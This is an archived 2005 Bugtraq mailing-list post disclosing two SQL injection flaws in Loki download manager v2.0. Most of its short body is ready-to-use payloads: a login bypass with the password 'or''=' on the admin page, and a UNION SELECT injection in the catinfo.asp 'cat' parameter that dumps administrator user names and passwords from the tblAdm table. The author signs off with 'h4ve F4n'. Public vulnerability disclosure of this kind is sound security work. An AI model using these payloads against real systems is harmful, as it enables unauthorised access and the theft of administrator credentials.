[39097] in bugtraq
2 SQL injection in Loki download manager v2.0
daemon@ATHENA.MIT.EDU (hack_912@hotmail.com)
Wed Jun 8 18:38:02 2005
Date: 8 Jun 2005 16:25:37 -0000
Message-ID: <20050608162537.31686.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: hack_912@hotmail.com
To: bugtraq@securityfocus.com
hi all
tow SQL injection in Loki download manager
1. in http://localhost/adm/default.asp
user: anyuser
pass: 'or''='
2. in http://localhost/downmancv/catinfo.asp?cat=' union select null,null,user,null,null,null,null,null,pass,null,null,null,null,null FROM tblAdm '
and u will have user and pass h4ve F4n
Salmanooh
hack_912@hotmail.com
